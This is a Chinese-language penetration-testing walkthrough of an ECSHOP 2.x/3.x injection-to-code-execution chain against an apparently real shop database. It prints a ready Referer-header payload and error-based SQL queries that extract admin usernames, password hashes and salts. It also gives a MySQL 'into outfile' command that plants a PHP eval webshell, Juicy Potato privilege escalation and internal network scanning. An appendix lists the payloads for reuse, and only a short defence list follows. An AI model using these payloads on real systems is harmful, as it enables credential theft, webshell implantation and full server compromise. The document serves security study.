记一次不存在的ecshop实战渗透
字数 910 2025-08-19 12:41:32
ECSHOP实战渗透技术分析
漏洞概述
本文详细分析ECSHOP 2.x/3.x版本存在的远程代码执行(RCE)漏洞,该漏洞通过可控函数造成SQL注入,最终实现代码执行。
漏洞利用原理
核心Payload
ECSHOP存在一个可利用的RCE漏洞,攻击者可以通过构造特定的HTTP头实现攻击:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:103:"updatexml(1,concat(0x7e,(select group_concat(user_name,0x7e,password) from webpos.ecs_admin_user)),1) #";}
漏洞分析
- 漏洞触发点在于ECSHOP对用户输入的处理不当
- 通过可控函数构造SQL注入
- 利用报错注入获取敏感信息
详细渗透步骤
第一步:信息收集
- 确认目标系统为ECSHOP 2.x或3.x版本
- 识别系统运行环境:Windows 2012 Server Data
第二步:初始攻击
- 使用已知RCE payload进行测试
- 观察到MySQL报错信息,确认漏洞存在
第三步:数据库信息提取
- 使用updatexml()函数进行报错注入
- 每次只能返回32位数据
- 可使用mid()或substr()函数获取完整数据
- 获取管理员账户信息:
select group_concat(user_name,0x7e,password) from webpos.ecs_admin_user - 获取salt值用于密码解密
第四步:后台利用
- 使用获取的凭证登录后台
- 发现具有SQL查询功能且权限全开
第五步:文件写入
- 检查文件写入限制:
show variables like '%secure%'; - 寻找可写目录
- 写入Webshell:
Select '<?php eval($_POST[cmd])?>' into outfile 'E://zz//zz//zz.php';
第六步:权限提升
- 系统信息收集:
ipconfig /all whoami /all systeminfo - 发现系统无补丁,当前用户为iuser
- 使用Juicy Potato提权:
juicypotato.exe -p "whoami" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
第七步:横向移动
- 扫描C段网络
- 检查开放端口
技术要点总结
- 报错注入限制:updatexml()函数每次只能返回32位数据,需配合字符串切割函数获取完整信息
- 密码加密方式:ECSHOP使用salt加密,需获取salt值才能解密
- 文件写入限制:MySQL的secure_file_priv设置可能限制文件写入位置
- 提权方法:在Windows系统上可利用Juicy Potato等工具提权
防御建议
- 及时升级ECSHOP到最新版本
- 限制MySQL的文件写入权限
- 加强后台访问控制
- 定期更新系统补丁
- 使用最小权限原则配置数据库账户
附录:常用Payload
- 获取管理员账户:
updatexml(1,concat(0x7e,(select group_concat(user_name,0x7e,password) from webpos.ecs_admin_user)),1) # - 获取salt值:
updatexml(1,concat(0x7e,(select salt from webpos.ecs_admin_user limit 1)),1) #
通过本文的分析,安全研究人员可以全面了解ECSHOP系统的这一漏洞利用链,同时也为系统管理员提供了有效的防御思路。